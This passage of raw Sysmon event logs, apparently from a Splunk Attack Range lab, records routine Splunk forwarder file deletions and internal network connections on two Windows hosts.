Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED1488426FF7DEDDF79B195D0F8D535D,SHA256=2E1A7E6E66F230C88EEF019058B352C7FDD85B997DF5694080F9829D7AE81250,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018771Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:39.951{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=386824B984D912F508E983B66DD8121B,SHA256=94E614CE35C072288BB1C839D065063189BBB69C57174BBE676A2107E7C89BCB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:39.444{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0A9AF7972AB0B613C4DE04B2920988D1,SHA256=54017EA58051D0D45FD4115E96B569FAE991FB23F0A3558416842BE88B396441,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018773Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:40.982{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E570BFB18BAF69DA353989CE06A224DB,SHA256=84D5EFF29E20CFFE2C385DABBAECB796DB8F438490A78081B4924276EC6385CE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:38.542{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63229-false10.0.1.12-8000- 23542300x800000000000000058460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:40.460{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5E38A9C51BAFB39FF864FE8BBC5E67D,SHA256=60DF107CD110EDE18FC557B3175764955AAA5A0DCED3017B71ECB9576E84460C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018772Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:38.441{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50446-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000058462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:41.678{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EDD96473C88ED850C3EC56F5AE810FE,SHA256=77427567CE7E1E2C450408A1F5A6631B5360A33C320E6D8AC2A6E0DAE773EB44,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:42.710{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2938542050897543AD242CC650D7A5B,SHA256=9B8AA90A889E8A57D1BA458C2F2E1403E76086D31A675E4E5BB0662FC91C930F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018774Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:41.998{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BB090D582A33BF809A3B4C6A2A5E8B26,SHA256=F36E93DD4936AD726E9355067297AC045D3EE4DCBF35443BEED881ED2A9295E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:43.756{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D02215D0CB6102E38D81A47968418968,SHA256=4C9361F2EA675787283A7DE644574007A118C301778F86D50EDE8DEAD74A533A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018775Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:43.092{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E5363711ECEAC7F9E2FB06B0B4FF8C6,SHA256=DA8E8FFB7C50815D0446FBA24A4B7F57A835F87B54DC770FF6851CE55D600693,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:44.975{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00A4C1F9DCF02E33E7C0B2B1DAF86183,SHA256=1C5AA4557F88E1AB843E0F038D1924E97B1FE28959A5C13DB12DEB44B40782EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018776Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:44.123{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7A158EC39D5C073B229B8903FE55734E,SHA256=9F1A46E0B22D8B57CFD886939013005A6E650C90CFE8F5971644BD3A49982256,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018778Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:43.457{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50447-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018777Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:45.123{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B724A98D6B2E07900B29B583C3E0FA91,SHA256=FA611F0F8812A68BBADB582BE6EA45802BF0E91744309BD83E037606C11CA257,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:46.006{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B20C9952E0C510A85E9390990C17A811,SHA256=D128AABF1576E4A64944C76ADDCC862232588F509B47541B82F870B527F9A48E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018779Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:46.154{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3CA9AF0E0052E4C65CE438037FDC1C76,SHA256=D2B5A05E940F3D2D524006452FA3CA90E1441BBC12E1C07F58335C6F6F8F9E54,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:47.194{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE271941C04936ABB5ED1D15D98B6640,SHA256=B89CF2D960BE851B2AC9E08818AA661A362BC4441E63C3B2B689C8374209B81D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018780Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:47.201{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6678526ECC52574CC537B1A2BD9E4B78,SHA256=FE39D60BAEC7415C66AA4AF72EDCEFBB7152504C83595B26CEBA4511DB872FBB,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:44.355{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63230-false10.0.1.12-8000- 23542300x800000000000000058469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:48.210{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E2CA6FF25F6ED6D258A3C25AEC88C475,SHA256=56E1FABA55B7DA20A8591436A5D52A27B3C37A5619F042B775C9C9FC7E656833,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018781Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:48.217{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40BD59533D3F8C3EA3A23FF054D09BF5,SHA256=0FD59B46F4475221CA2A7E22861A8B4206640876D57C5228D3F7637DEECD8731,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:49.303{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8BCD34477C57901F05BD9E172184A124,SHA256=0F684A532ACCF1C60D39F755A1E446ECC8F57D15886DD9AB330027FDDFC9A0DB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018783Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:48.566{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50448-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018782Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:49.232{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=382A15FA9FA2FA5EB06C30C3A40A8C2E,SHA256=5AEF8E23DC45CCDCE6F673F3CBB600679C25EE0BB94A1D49BAE31CDEF81DC7E3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:50.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB0149F4FBEC66BDF55BC020F643D369,SHA256=9BD9BB5A6BB6AE62CBCDF9308691755B12D0F16ECFA2767F9E0428898844A939,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018784Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:50.279{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D9810CBA01FAC05BB07BFAB0279AB204,SHA256=D118F25CF5EC91F4329A443D096A33D9C4D37A5072795794E510C73ECD70B908,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:51.644{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=22D5727996EDAC545D496C39BA5CA5DD,SHA256=B119F30CCCC2F80ECFCF59A346DAE22C8D2B16436655EF02CD2AC1C8F83B385A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018785Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:51.295{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F638ED991DD55D382C72FFF0854184B2,SHA256=3ADB74B1846A6AEFD57C386278E47374667963785B8A99CA6630F8497AE598F8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:52.691{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=040940D7E50D5E2D87309F579FE61BD7,SHA256=0E4DB6B92AA6D746E4CFF793BFE31264B8BB0DC7C26D7981D46333FF2469548D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018786Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:52.377{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A6DD225A41B5B711CFD106AB70241CB7,SHA256=5DBA53926AFA29154511C6A16FCF8DC2A7E99951173543E17BBA7949C5B9DA20,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:49.479{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63231-false10.0.1.12-8000- 23542300x800000000000000058475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:53.753{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C08EB94839E6B938F8A4C0099C86D0AA,SHA256=8CEA9946D1F7D7ACE9D90B5441D3592EF0B0859EAFA7FC322036DB357FD8A551,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018787Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:53.393{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40E46A873BCE4E5683598D4F1637CDD6,SHA256=47B32F5C75A431127A2918A0626A62DA2A8B48EEFF0FEA09AD7CD6D84C4994AE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:54.769{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D2BE1F2D15A59167878552A875F49CEB,SHA256=88068A7E2C8DDAF61F65E89658C9D92C27F2B2891DAB2A031F4F38651CE30AD3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018788Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:54.393{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FC0E0C56E8AC2F914852241DB8C7B4E,SHA256=A42A77F65533611B85123BE100F5158AC24355E7CA2CE1D868EB972A0B6B79A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018790Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:55.440{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=558447C2189ECEFACF078FC8B1B95D9A,SHA256=B266F91D6E8FAA485E94BF057D16241467FBE4E1E476FEBA87C9252923A820A1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018789Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:55.330{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018792Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:56.471{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4AF0261F1FF95C83F54B3FE46BD0BECE,SHA256=C023996D97863A57170FF583A71BC343B6B207E90C27DAC7FD82BA7DAF1DC3F6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:56.019{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C4BD04E4869599E55AEE35646E4A086,SHA256=B5B653132DB91AF4833111E6B76E467C9F1BCDEAFD2764C2E5DF6A82C76AE5CE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018791Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:54.352{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50449-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018794Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:57.487{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B247752C1F5D0C95F76CB31C6F118208,SHA256=54BE029DF476A39AC72BD8E037492B21156DDFB946B9EA7AFFB4190D3769D1D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:57.159{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DAD4677ADD118FBCDA57CC5603A788FA,SHA256=EC20DEC3A7410130EA3A5035DF7632434456CC1E60760388F37ABB49F6B80546,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018793Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:55.633{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50450-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000018795Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:58.518{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=93CEA31B658D60C07721DAA65C17ED91,SHA256=2DA63DB261D0A4233D44C295AF92E42D78C7F4D3552BB76EE40B8DEC5CF177BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:58.394{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9CC083FEBAC6ACE911D2AC27DFAA3E61,SHA256=C10A7C445B61D48D135E084631007B0CE9D8193D223AA756AD9DCE63287CA9D3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000058479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:55.382{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63232-false10.0.1.12-8000- 23542300x800000000000000018796Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:59.549{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6778E596C2930C5853B888B316FC2BEC,SHA256=A610DE492068549DD2EA5CDE1E20ECD5BF0EA666FE8E606D130DF64268A9B4D9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:59.534{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8137977657DB0F498B121D95986B8E9B,SHA256=73F7FD98E6C6C598BC8B4BF78FBF45058261E9492F3D1408F2C086395C666528,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:59.534{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=10548785F59B9AC5F8055269E21B7093,SHA256=00CFE8FBEDF0994757BC24BCE8CD2AE9A3D61201A6B5CF8A1863CF317F26885B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:59.519{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE0F7458E1349B4B991E1E7BE6044BC2,SHA256=4FEEB864EC07CB588E29118DAFBB18C2E0652A6C9FCF1BC0DB6958CC0F92985C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018797Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:12:00.596{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F120D0668B408A8B3B56E8562E74539,SHA256=DA8EAAE7932B463507B99C48A7D854D6B318D14A3DA2CB78C48F1BF824E93ECF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000058486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 